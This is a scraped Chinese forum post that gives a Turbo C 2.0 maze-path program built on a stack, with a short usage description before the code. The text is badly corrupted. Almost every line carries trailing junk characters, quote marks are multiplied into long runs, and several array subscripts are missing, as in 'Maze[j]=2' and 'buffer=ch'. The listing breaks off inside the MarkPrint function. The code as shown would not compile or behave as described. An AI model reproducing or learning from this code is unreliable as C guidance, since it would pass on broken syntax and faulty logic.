QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 7624|回复: 8
打印 上一主题 下一主题

C语言技术文章

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-10-4 02:34 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<DIV  align=left>! }' Y. H' a: S3 h+ K- ~
< align=left>程序目的:% X! H8 R  Z/ P! e
输入一个任意大小的迷宫,用栈求出一条走出迷宫的路径,并# o7 x' }( O2 d% Y3 S
显示在屏幕上。9 T# |/ Q4 S+ u8 r
程序实现:
. U) e% |& j  o9 g' j, F) s可以实现载入迷宫和保存迷宫,附带文件中有4个测试迷宫路径的' K* y2 f  Z* o: r2 J' x, ?5 {3 W6 z
文件test1~4.dd。请将这些文件拷贝到TC当前目录下,或者在载
! _4 G0 `: j+ C入时写明完全路径。由于屏幕大小的限制,当用户自己输入迷宫
- c% e2 x' R! ]7 e/ r1 J时一定要注意:迷宫大小是有限制的,不小于4*3,不大于30*20。4 @9 W, _/ ]6 R8 T! d- [" h/ K
否则会出现错误信息。输入开始时全是墙,用上下左右键移动,
  r, p7 p+ L7 O' z! L( v% L2 F用Del键删除墙,形成通路,用Enter键添加墙。输入结束时可以
! u+ O9 j2 m- ?# N$ v! s$ e# O将迷宫保存下来,以dd为扩展名。输入完毕时用F9键来得到结果,
5 d/ D8 Y' I+ ^$ B4 B) B: a8 }  V找到路径时,屏幕下方会出现Path found,否则出现Path not found。
/ O7 n6 n3 I/ n4 a9 ~9 s8 ^程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。
. n- v0 W0 G$ h; ?不可以在VC上编译。' I4 I8 E" ^5 u: T, a, N
下载DOS版和windows版的迷宫游戏全部代码: b6 e% W" f8 h: N  B
用户名:migong * x5 P1 v3 ?% J
----------------------------------------------------------------------------------+ x: y$ D: \1 _2 ~, [: Y' h( _
/*
) Y$ h" k: o  S0 TMazePath Demo BY Turbo C 2.0/ N4 I4 l$ Y9 _( F
Copyright(c) RoverUnion. All right reserved.
; m7 \2 U9 @0 DFilename: Maze.c
/ M1 g% O1 n( O' D4 EAuthor Dongchengyu.
0 K6 K1 q" z4 w- b  I" L* p( RVer 1.10
6 G5 X9 j4 o" Z- _6 O: r*/8 l+ \4 a# b* f
#include &lt;stdio.h&gt;/ d0 `( q% e: M6 `! g8 d
#include &lt;stdlib.h&gt;
2 B/ X; B, K1 y; g% }5 S#include &lt;malloc.h&gt;9 p9 _+ \% y" d
#include &lt;conio.h&gt;
9 g( j, y% g4 L: \3 _2 _#include &lt;dos.h&gt;
. B5 e$ k, L/ c8 i$ x9 s#define OK 1
# L4 ~" ]. b2 i6 Q8 \) M2 n#define ERROR 0
( X/ O9 n; ^0 B/ y( H#define TRUE 1
) l+ |, C- N7 X  j& q, U; X#define FALSE 0
2 ]7 b( x( S! p* p: K7 R#define F9 0x436 o* m" P* Y2 a* m4 t5 b
#define Esc 0x1b
2 S$ g* `- b: R6 N1 }" N#define Del 0x53) I0 `) L* e' d# X5 d& |
#define Home 0x47
, }: ~7 u4 @. b7 J; `2 o0 S#define End 0x4f! z' A9 p1 C" G4 y* b
#define Space 0x20
9 h$ D+ x' n8 _( }9 m* l4 p8 a9 F#define Up 0x48
7 a0 y- F% N9 m. @+ P#define Down 0x50
) U1 u: j3 e! a. z7 P0 A1 u( F' A#define Left 0x4b
2 n5 d' [8 Z! `#define Right 0x4d
0 H) S* U& U! h4 r#define Enter 0x0d0 Y* t' z1 |8 @7 |2 N
#define F2 0x3c, V/ W& b- R0 ]
#define F3 0x3d$ l$ L2 u/ s/ M# t" ~- l# ^
#define STACK_INIT_SIZE 200
, K; l; r, Z9 w#define STACKINCREMENT 10
7 G1 g+ v# H$ i- Y3 btypedef int Boolean;
* {( G* ^3 j% i6 Z8 gtypedef int Status;
. w' Q- v* g9 F: M! h8 ftypedef struct {. ~, m0 \& C" I3 `5 Q  v
int x;  }6 h) w: d+ K: |9 G5 |; Z' u- k
int y;
1 A( U  W# ^; |$ ]/ E* [2 V  ]; O' C} PosType;
) R" h; M; D4 ~0 _typedef struct {- ~2 B3 D! H! @; `9 c1 r
int ord;
% x+ Q7 f! J9 nPosType seat;5 c( M; s" U' I1 W0 m
int di;
. T, g: }4 |- X, ~& [} SElemType;9 ^0 V0 q! S9 l0 I: p: \/ n2 d1 J7 Q
typedef struct {
; i9 z! x. |5 i' m" H' E6 Nint td;
* o3 w) ?  x- ?: t9 f+ `int foot;
7 L1 |; Z1 Z7 N0 b. [- Sint mark;2 p; y; l: ~9 i8 K& I
} MazeType;- }7 k0 A* U6 Z* G  X+ z
typedef struct {
2 x' k! _6 |2 H: WSElemType *base;6 B( }. U, ], @) O
SElemType *top;- S: P( S+ E7 v4 B  x& e
int stacksize;+ k& J0 Y! {% b8 W4 [
} Stack;
6 [. i6 c) E3 vint Maze[20][30];
) r3 v* V* g3 p6 m+ XMazeType maze[20][30];
4 J+ u' d  [9 l  {4 \) s9 l! {PosType StartPlace;
# ]( b" e1 M( _/ f8 Z3 \PosType EndPlace;* _9 w: \9 x# u. U0 }
int count;1 e8 `: U2 j3 |& r& O5 I3 d2 z  ]
int m,n;
  x& m7 d9 S' e3 O9 h$ x5 h2 a# eBoolean b_start=FALSE,b_end=FALSE;6 w" o& H) o, x% Q$ l1 X
void CreatMaze(void);9 {  t6 R$ I: U
Status SaveMaze(char *filename);8 G5 }4 |( o6 b. W: i( T
Status LoadMaze(char *filename);- D& n% p! [2 N( O6 c" t: c. q  H4 o
void Error(char *message);0 P  n* y+ V" H, @1 X! o: Z
Status InitStack(Stack *s);" E0 b! w5 i7 ~) {- M6 w' f, L
Status DestroyStack(Stack *s);
# G% {& i0 W2 |5 D; U) gStatus ClearStack(Stack *s);
3 I+ @- q% `2 A$ K# G7 ^% D; ^Boolean StackEmpty(Stack *s);9 s: `) e: f3 h4 b, ]3 {
int StackLength(Stack *s);
0 Q$ @9 A  }, X! kStatus Push(Stack *s,SElemType e);* P# D: j3 u' Z4 f# a) E+ ?
SElemType Pop(Stack *s,SElemType e);
2 n: F* h- c  l4 k. aStatus GetTop(Stack *s,SElemType *e);
: G5 c* F5 c' x6 z" k# ]0 QStatus StackTraverse(Stack *s,Status (* visit)(SElemType *se));  ~4 g  y1 v; S3 s7 \+ w
Boolean Pass(PosType curpos);
- E5 o/ a$ `5 B" jvoid MarkPrint(PosType seat);/ p* n' y, U" u) f
void FootPrint(PosType curpos);; G5 M1 p$ N# _( M5 M( C: x
PosType NextPos(PosType seat,int di);
0 r( a+ Z* q  U3 dStatus MazePath(PosType start,PosType end);' \, D: g' }4 S9 o+ f+ f
void CreatMaze(void)
" `5 I7 \& A' o/* Form the maze. */
& t" v9 R% a: A{
, E! {: X) M) cvoid Error(char *message);
* A, W: e& P/ u# |$ g! }Status SaveMaze(char *filename);3 {2 P$ c) e) j  q
Status LoadMaze(char *filename);4 k6 u# t; y/ v4 u: \( i5 v
int i,j;
: [8 [( m. u% X( v0 G' vint x,y;& S7 B4 j1 |- N
char c;. N5 E9 I2 R' n$ u
char savename[12],loadname[12];; I' l0 z" o$ _2 `2 _1 u
Boolean flag=FALSE,load=FALSE;/ ]" {# n" F6 R: V
clrscr();) Q6 H0 O. `* Z2 V% ?' O! ^' @
printf("Menu:\n\n");0 ?9 [6 C* F4 Z# R8 W8 q2 j( m
printf("1.Load Mazefile*.dd)\n\n");
2 ?: e- I; D9 E4 g, J# V6 Bprintf("2.Input Maze:\n\n");6 f( l0 @" e  l: I- k
printf("Input your choice: ");
' w$ A1 E- Z3 e. @* }; U: U9 udo
; M4 W* O6 r) R6 a& S{
1 ]* P2 V  d+ C% B- u* ~; _' _c=getch();3 r$ J/ K. R2 }8 Q. ~% v; D
switch(c)
; x6 c+ h0 k' J0 I! ?: T{
4 _8 J/ V2 y$ E8 Dcase ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;
! o, x$ |6 L* j. w0 G& P- ucase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;
; R# H  k6 K' t/ T9 N8 d; @' vcase Esc: sleep(1); exit(1);
, s4 `, q/ X" R! Zdefault: break;1 i8 j  D# V9 d% L8 G6 y+ h
}
8 ~- j$ @) I9 m( J6 H" D# l}
* H2 |2 E4 K( gwhile(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;* \* h6 d1 L* Y( g0 h8 c8 n
if(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')
  s, Y5 T( q0 x7 j% M2 ~$ ?{8 _' e& h9 t# V4 i, u6 |: ?, q
printf("\n\nLoadName: ");2 z9 {7 k$ L* z+ o
scanf("%s",loadname);9 D9 k" y  F7 r% v6 Z/ e
if(LoadMaze(loadname))
& j' z- l' Y5 v$ i{- c# P% l. u  a- [8 c7 Y0 t6 x
sleep(1); load=TRUE;! f, @) d, x3 J
}
" X: {$ g. o2 g! ^$ |- \else { gotoxy(1,9); printf("Load fail! "); }* x6 Y- g% W2 U
}5 {! ^2 Z; T* g. x1 F
if(!load)6 R5 J+ L3 I3 [/ e# p6 n: s
{9 K1 g% u9 D. @3 Q9 Z* K
printf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");
( U6 P# G! F! D. G9 r. D. Hprintf("\nInput Length :\n");
# k0 f" d) A# ~. n( w( A' C$ Wscanf("%d",&amp;m);
; d% `  D) X' n) z' ?% uprintf("\nInput Width :\n");0 i: n$ n" f" j: o2 i, L( ]
scanf("%d",&amp;n);
- Z: z( z( m6 X1 U, s3 K6 u$ L7 t3 Uif(m&lt;4||n&lt;4) Error("Input");
+ g! u- L- e4 B) fif(m&gt;30||n&gt;20) Error("Maze too large");
1 N8 S6 k1 A) ^+ F0 {, T& G! wfor(i=0;i&lt;30;i++)
, s% U! `1 s* v& H6 K1 {5 a1 Jfor(j=0;j&lt;20;j++)
- u5 `/ ]! P& P$ G1 y0 gMaze[j]=2;2 Z6 r1 `' O  f2 R; j5 t
StartPlace.x=0;
( E1 t# v% R0 ]  r' rStartPlace.y=0;
* |0 s: M( m( {$ K, r  h) oEndPlace.x=0;. E) U( S! W. a  u/ g7 R" I) r$ L
EndPlace.y=0;
% Y5 }' o* \: ~6 t3 s9 f5 Gclrscr();
) a* b* q3 E- yprintf("\n");
% r# b$ y# h( K9 I% zfor(i=1;i&lt;=n;i++), V' p+ b( {" |& L& E. Z- z+ _& H+ H  D
{2 R& f9 i& C7 q1 Q3 O
for(j=1;j&lt;=m;j++)* t- K* N6 Z3 d6 v' k
{7 @. P- e2 r3 y+ ]4 b1 R
printf(" #");
& n6 S' J, t: g! H3 {; L/ u  \Maze[i-1][j-1]=0;
' L$ m7 q2 h/ n8 X+ T}( \# V$ d. @" a$ o$ B0 D, c
printf("\n");
6 ]5 a0 k/ h$ ]* R2 y4 G' H( B( \}
  Q5 z9 e2 m/ C/ v}% k) b" j' n% L" M9 u
gotoxy(65,5);
2 p' X4 X  I6 l2 _) iprintf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");
  R8 L( `+ c7 g& }7 G* E7 Tgotoxy(65,7);
2 ~$ w6 A$ B* Z* oprintf("Start:Home");# {/ X* m. q, L4 I& B( O' T
gotoxy(65,9);
( {7 ?% R, d2 C9 c0 sprintf("End:End");
' t7 `) m0 p# r9 R* Agotoxy(65,11);. |- h! r6 h( t
printf("Delete Wallel");- U% Y. I# ?0 y7 s9 {2 p% }
gotoxy(65,13);" g& T- p( }- p- e3 U
printf("Enter Wall:Enter");# e" Y- Q. U0 G# j% ]! r, b/ p
gotoxy(65,15);$ p( \/ t; @' ~) Q1 ]& M/ j( b
printf("Save Maze:F2");
* t1 J& `1 }. W& F) rgotoxy(65,17);
% ]. g* ]# q9 ~6 C! g$ I7 xprintf("Complete:F9");, Y4 T! b* {* ~/ s8 ~+ \9 d
gotoxy(65,19);
9 j+ U' h% s, Q4 c4 [: Fprintf("Exit:Esc");  @+ L8 q$ T0 v, Z. S% `
gotoxy(4,3);
! ~8 O" i/ {+ J( L. S/ ^x=4;y=3;0 a8 n2 t: j% f- {5 J- @0 D
do, d/ r3 W+ w/ I' \/ Y
{# @4 b. G5 D/ ^( b
c=getch();
7 W5 H& a6 |+ Rswitch(c)  r1 z( V; A; t$ }# L
{$ }' d$ x" C, n
case Up: if(y&gt;3) { y--; gotoxy(x,y); }7 i7 u- D( z8 `/ X0 l' L2 X
break;7 x7 Q5 y) `9 O
case Down: if(y&lt;n) { y++; gotoxy(x,y); }
1 Q# R# J/ J8 f0 Y, H7 _) J; r4 X+ Ibreak;/ E8 U; w2 E/ N; \% Q: L
case Left: if(x&gt;4) { x-=2; gotoxy(x,y); }& C6 x* Z! Z) A' T% ?9 ]
break;
- L& d7 k$ d5 x3 c) T5 Gcase Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }
0 s4 @3 ]  V: F6 Z" X( kbreak;; P( j' K; K/ ]& ^
case Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;% ~' {; D, K/ J! F% i
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;! ~' t) E) c# N& k, }
putch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);
! q( t$ Z6 x0 E! k. S8 i4 S1 Kbreak;0 h" t. g. z7 X  s! q- e
case Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;
- d! i: F- ?) e9 n0 Oif(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;' ]* w% S3 `7 [# y
putch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);$ u* h) Y% Q1 l5 M
break;
' f! ~6 M# D4 Vcase Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)
7 y. a3 g0 q8 T, P) o6 l( l{
5 Q( B9 c0 P6 R4 N  jStartPlace.x=x/2-1;
/ p- Z- F+ [, M* N" NStartPlace.y=y-2;
& _; z2 R. `% E  e" E$ M4 J, B( Pputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');* `6 D) f$ \  P8 n
gotoxy(x,y);
( b* e! p4 `, y" Q9 U. U4 Xb_start=TRUE;
$ u$ X5 o0 `6 F}
" E4 a* r. h% A8 [break;2 c. A6 B9 f! M
case End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)
7 i; V. x0 T- O  h9 ^: r{8 H3 b4 }8 j* h/ h) M! w8 B7 }2 D$ T
EndPlace.x=x/2-1;' e& n% f) k: [- j4 M' f- w& c
EndPlace.y=y-2;3 b+ p, w' T! J/ r0 x
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
6 e( w) a8 C+ f0 a6 D' K7 rgotoxy(x,y);
- j9 p) Q- u; J* E- {b_end=TRUE;0 N& G% X' Z  j0 b; n! K
}$ h! n2 m. H) e- z& m
break;7 _5 b7 ^7 p9 `; V
case Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);2 F6 X. S' o" E. u
case F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;
2 P$ S) R" s: ^+ g5 m5 k/ Wcase F2: gotoxy(2,22);9 j$ ~6 G4 R; x7 `' s
printf("Savename:");
7 N3 j/ J, ?: `- F" O! u' Yscanf("%s",savename);
! U: y" b+ W, c5 O2 R' m- r4 j% vgotoxy(2,22);1 ~' U/ m/ k* {3 ~
if(SaveMaze(savename)) printf("Save OK! ");
" m! ]/ c& _. ^, Belse printf("Save fail! ");* H: ?( t/ @' |$ N8 ^0 h
sleep(1);
& L' v: d7 S2 C' b% }gotoxy(2,22);, j7 O/ _5 [: J' s
printf(" ");) g  [# h% x" u" @/ a
gotoxy(x,y);2 j( e" c& J' p) b" N/ _) [3 P
break;
8 j( P9 l; m& tdefault: break;
  A8 X" K. m- G4 B7 Q" Q; z}
# E& }# F9 `! _6 X) d+ R}, b1 x% n. ^; b% _& k  y
while(!flag);! Y/ Z1 }  l9 y3 u4 y' o' ]2 S
for(i=0;i&lt;30;i++)
4 e. f& V- E. q  |. |2 _: h* f% lfor(j=0;j&lt;20;j++)
9 w0 f$ h8 i7 Y9 T, n{5 G" E! R! z, I
maze[j].td=Maze[j];) E( h+ V+ X6 B! [
maze[j].mark=0;
# F' h1 ~3 g9 J4 ^; L* Smaze[j].foot=0;: Q( X! J. O. |4 I6 N- P6 a
}
( V2 E( h! V0 @- s1 r}
: z* h4 j8 d/ |( b$ X* w' U# u: {Status LoadMaze(char *file)
8 O$ s3 G2 J$ \# E6 G2 x' E' }2 y' Q* Q/* The maze has been loaded. */3 v2 i/ h. S: I
{
' R8 n& n, Q, V! G( EFILE *fp;
* W" C( H3 O0 r* M. @+ @4 x: l* mchar *buffer;- d' _' R( X$ h
char ch;! \) Y* C+ v8 i7 y7 e3 K
int i=0,j,k;
6 E, _8 s. H6 ]0 X6 {# B, TBoolean len=FALSE,wid=FALSE;2 S7 A/ h7 Z. a: n" `% X) e6 s
if((fp=fopen(file,"r"))==NULL): M0 Q* T5 M0 k5 g) i9 i
return ERROR;* i6 o+ _0 k- ]5 e
buffer=(char *)malloc(600*sizeof(char));
" k! p/ J% s9 g: e7 p6 b3 s1 m6 Pch=fgetc(fp);
) Z  t9 V3 b: X( dwhile(ch!=EOF)
2 @9 p: W: B) Y: r" z; @6 X{
; `4 t/ p+ W5 q' i# N- [buffer=ch;0 L2 B4 b; A# s: X
i++;0 F& R+ @4 e( m: j5 t9 B! @
ch=fgetc(fp);
0 r& _+ a9 p# j0 ~}0 a, Q& o/ r( T! X$ q4 J$ L3 H
m=30;n=20;
% [- J- E3 O% o# |' G/ y3 tfor(i=0;i&lt;600;i++); n7 u8 \1 P0 c* T" V
{
$ F+ S8 y9 N8 N" S- W' U$ T' Yj=i/30; k=i%30;
7 w6 `. R9 ?" r- e7 Lif(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }
6 Z5 ^' v( v, K3 Z4 C9 bif(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }4 m: Y& c. ~+ d9 l( a
switch(buffer), [$ t. X2 s( M# t$ I8 B' \* x5 U
{
$ u1 ?, @( o1 N7 ?case ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;
' ]* b6 d+ A4 G" j% u& m3 D. b$ icase ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;
2 w3 E8 s* B- D. }case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;4 q  e9 u- n( T8 |! p
case ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;# H' H4 i* P+ H% z0 q
StartPlace.x=k;
3 k% o6 m5 a1 x& GStartPlace.y=j;
- @7 K" d9 T$ Y, J- fb_start=TRUE;
; f6 B4 \8 F! j& r: \break;6 w5 ~9 U  O  D& q
case ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;
8 R! T' o0 _7 vEndPlace.x=k;0 B6 }! y5 r/ E. r! _6 {
EndPlace.y=j;
+ H" Y+ p' Y; |0 ob_end=TRUE;
4 c8 B% W/ I# a7 \break;
* O  m: A2 G1 ]& Q4 Kdefault : break;
; B5 x2 ]) M3 }8 S}
8 C* r6 V% P- M% D9 v; M: `}
8 l- X, w5 P% S: Mfclose(fp);
2 c" O/ E$ H0 j1 n9 c. Z. y* ]clrscr();! F8 m. h& }8 @# f+ ?1 @- K
for(i=0;i&lt;30;i++)7 _, z; f  h0 o' y+ V% y5 ?$ a
for(j=0;j&lt;20;j++)% i  o, }. P& \! O" }1 E& C4 B9 M
{- l" S; i  ~4 X
maze[j].td=Maze[j];
$ C; K& n' P6 {6 R  |: xmaze[j].foot=0;- v: Q  h+ A; I
maze[j].mark=0;! t" u9 Q  K7 g
if(Maze[j]==0)
+ d% o, K- |4 B( E& P! O{. k$ x2 i7 K, |
gotoxy(2*i+2,j+2);- z& j/ p. J; Y* e( J' V
putch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');& F5 p" H: ~. ~7 m! z& L5 X
}$ O' j+ N2 n' ~2 \7 M
}0 G: c( v: ?; U5 H$ b! X! @
gotoxy(2*StartPlace.x+2,StartPlace.y+2);2 n" ]. {8 P4 Q9 ?  X
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');8 h% D" C7 h/ m0 d! ]4 ^* ]6 ~, ~( k0 G
gotoxy(2*EndPlace.x+2,EndPlace.y+2);6 M0 f9 ~# u( q# g% f$ t
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
3 y9 @9 _0 n: R* v9 U% O$ b, |return OK;
3 ~( o2 I" w! m- V}
# A8 H- P& `1 A, s5 jStatus SaveMaze(char *filename)8 P3 p0 m* E- W1 z$ w+ o
/* The maze has been saved. */2 p$ Q, B( L2 f& R
{, U8 P5 F( y' w$ V7 P
FILE *fp;5 E; H+ _4 z: k8 L6 N0 l; p8 A
char *buffer;6 q6 E3 ]! `8 B7 K
int i,j,k;: u/ ^' a' y2 b  {- h
fp=fopen(filename,"wb");
- q8 N0 m& r* a' `5 Abuffer=(char *)malloc(600*sizeof(char));. C1 d" e9 @5 X
for(i=0;i&lt;600;i++)/ S9 C6 T) j1 j
{- \! U6 P9 X* N9 y1 r8 _2 e
j=i/30; k=i%30;
2 _7 w( k& [7 [. R5 ^0 Dswitch(Maze[j][k])
: r2 y- ~7 i0 b) t6 Q{- f; B$ j0 I# j7 S" Q6 d& E. g
case 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;7 G/ |+ u5 c: |7 R5 e$ F8 x8 M1 e( [
case 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;1 q  ?1 p: m- c& t
case 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;
% s5 w7 M8 Z9 @' t+ sdefault : Error("Write"); break;
0 {* S+ R  \% v$ {2 r& s9 O}" c  L' k4 F# G  W
if(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';: W6 f) w; E# b' q2 G+ k2 W
if(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';; u( F! Z. f: r3 X9 o8 G3 [
}
( ^4 ~8 y* B% ]+ Q8 r& Wfwrite(buffer,600,1,fp);" k, n$ ]8 A4 A! f, g
free(buffer);( g( P. t1 B% S- Q& t. j
fclose(fp);- D4 Q9 k. H- p1 n; A7 Y, D; {; _
return OK;
) }+ k& w+ L* a: ?/ P}
; |3 V8 u, x: I. I5 }- Uvoid Error(char *message)
4 n  e) ~& }* p- Y, o: d( \8 \& w{
1 _# U: H% \! a" U  J9 P! I' H$ ?0 bclrscr();
) b. d8 W! g7 o% `% a0 wfprintf(stderr,"Error:%s\n",message);+ }! s/ C# S: y+ i& w
exit(1);. ]9 D6 H3 r4 \& p! T9 b! n
} /* Error */3 J' C0 |, C$ g8 f. m

$ T, i( T6 |1 u; \! w& kStatus InitStack(Stack *s)" F$ q% x1 L0 ?1 Y
/* The stack s has been created and is initialized to be empty. */
+ `% G9 I0 s1 w{
: F0 f" G' x1 d/ ]6 `$ n$ ?6 ms-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));, ~/ j8 V2 N1 a
if(!s-&gt;base) Error("Overflow");
& e! M" e( @' y5 Ns-&gt;top=s-&gt;base;: g* t6 g7 M( F
s-&gt;stacksize=STACK_INIT_SIZE;
$ y. s- c  s, N% e' mreturn OK;7 Z: T  b1 H8 q& n0 ^$ p7 S
} /* InitStack */1 j$ v2 C5 a1 c2 X1 U
Status DestroyStack(Stack *s)
4 Y# _7 \/ t" M. b8 t/* The stack s has been destroyed. */  m* T0 \+ B7 n; C; H! a
{
5 k( g% z( o  r0 ns-&gt;top=NULL;8 j. ^. o, m& H! Q) U: h
s-&gt;stacksize=0;5 L7 R2 Z' Z3 p& X
free(s-&gt;base);
8 d" e: r4 \6 J, O! es-&gt;base=NULL;2 z' l0 U; J7 p. N- \, x, g
return OK;
" z, f* @+ Y* N+ N7 C; s} /* DestroyStack */
- x* p9 J2 H0 O1 \Status ClearStack(Stack *s)! v1 E$ t' q* W7 k
/* The stack has been clear to be maximum. */9 I4 T+ ^# x/ J# V; P: w& M
{
6 K& ?  B! a: [9 C5 \$ ps-&gt;top=s-&gt;base;
9 [2 L/ ~0 V0 b# fs-&gt;stacksize=STACK_INIT_SIZE;
7 Q2 g8 L7 g  Greturn OK;1 U# X' _$ s3 |6 H, Z; O$ b
} /* ClearStack */
# w+ R6 b% T: Y9 U# |# u/ dBoolean StackEmpty(Stack *s)
5 o$ Q6 y6 M; T0 m/* Check if the stack s is empty. */0 R( R% A2 P& V
{* Q: f3 |# o- p" t- o
if(s-&gt;top==s-&gt;base) return TRUE;
& s* r7 ^% n5 b. S7 K. qelse return FALSE;
! Q, t# Z/ w3 s: B2 {} /* StackEmpty */
( M( t/ L; T7 ]1 f/ t3 J; m3 Nint StackLength(Stack *s)% U9 s3 q/ Z  H" o. ^
/* Gain the length of the stack s. */8 u' k, _! [; ?) _: }
{$ m0 B, N. s: S
if(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);. Y2 \, `7 O; A7 ?: j9 \+ }
else return 0;3 i) g( x5 _: \9 E
} /* StackLength */' ~% x' u9 E1 l; ]
Status Push(Stack *s,SElemType e)
6 q7 h1 b- ]2 u+ T( w/* The element e has been pushed into the stack s. */3 p! ~6 F2 j2 p  D" v2 d
{6 `/ Z$ G1 U3 J! x$ E
if(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize)
' b, o3 c) y5 ~3 H{- d% D  N5 M0 a# s8 L% T; D
s-&gt;base=(SElemType *)realloc(s-&gt;base,5 T' J: v8 W2 i& I* k' ~) i4 B
(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));
: ?5 f2 C) y/ o5 _, `if(!s-&gt;base) Error("Overflow");! S" I- k( `4 @1 _6 t  O
s-&gt;top=s-&gt;base+s-&gt;stacksize;
5 y' ^' u% S* O. {, a+ |2 ]! Vs-&gt;stacksize+=STACKINCREMENT;# O* R( J8 ?8 o" @7 g$ R; Z
}
8 V4 \) F0 k+ T*s-&gt;top++=e;
1 X. p; _2 |8 Y% ureturn OK;3 R* n; f! q# G
} /* Push */
6 A1 S9 \  _2 h$ ASElemType Pop(Stack *s,SElemType e)8 W9 F( m! U* u2 ]7 Q) m
/* The element e has been removed from the stack s. *// x4 t! [& J9 Z& D/ j$ K, A
{; A) \  d( \: u5 p8 ?
if(s-&gt;top==s-&gt;base) Error("op");
  M, j( P; g+ t1 u" `9 k, N9 Ie=*--s-&gt;top;& M+ o# [# d3 a: I$ c: D$ l
return e;
- c1 G2 d% {" C4 Y& @& j, v} /* Pop */4 |% R+ f* {+ k) U/ |
Status GetTop(Stack *s,SElemType *e)6 y8 }8 c4 r/ h8 u
/* The element e has got to the top of the stack s.*/
1 {5 O. ^, P8 f" h. u# y{
6 _" R$ N+ l/ G2 Zif(s-&gt;top==s-&gt;base) Error("GetTop");
% L) d! K) C, {5 Z*e=*(s-&gt;top-1);0 B2 E0 {( G5 t: ?. U( }
return OK;0 l& }% b* V% l# T4 ]  U
} /* GetTop */
5 s2 h8 b9 X0 a/ [1 U3 c2 _/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */& s: Q/ V$ D7 X) v
/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se)). W& A# e# w, E" L# Z
{
+ p# B8 N( M9 Q% Z9 O' jSElemType p;; c8 C" F" L) e" t6 Y: e
int result;
1 w. L$ r; V' o# `if(s-&gt;top==s-&gt;base) return ERROR;
1 w; V7 {+ r; X' P! hp=s-&gt;base;6 m/ v1 x/ c0 |2 ^7 ]
while(!(p==s-&gt;top))
1 s! W& c3 F5 k1 i) t{
/ \, `$ _1 _0 Lresult=(*visit)(p);
7 B/ i$ h4 }$ z+ b2 y$ R. U- xp++;' b+ G5 \9 e$ Y8 x/ b6 O8 M
}
( v1 v% a2 O- M/ a5 A. k" |) B- Hreturn OK;# v& n+ Q" C- j8 z' |4 \; A& H
} */
/ v8 X# U" X9 `& B) [: }7 @$ RBoolean Pass(PosType curpos)0 d% T% G& f- z# I9 B8 \8 y
/* Check if the current position can be passed. */
0 H. H8 Z) `5 I8 c1 H{% \* ?/ A6 `& ]  j, j, y8 n
if(maze[curpos.x][curpos.y].td==1&amp;&amp;
6 {5 u  i( ~) Tmaze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)
$ K- O5 ]1 T/ m. Vreturn TRUE;
% G+ E2 Y% F5 R* belse return FALSE;
6 m" N6 y, `: g! K9 {} /* Pass */
' A$ @9 }: \' avoid MarkPrint(PosType seat)9 ^; r7 q% |1 v# D
/* Mark the position seat. */& u0 L; C% I6 m
{1 M. z% ~3 F1 }7 |
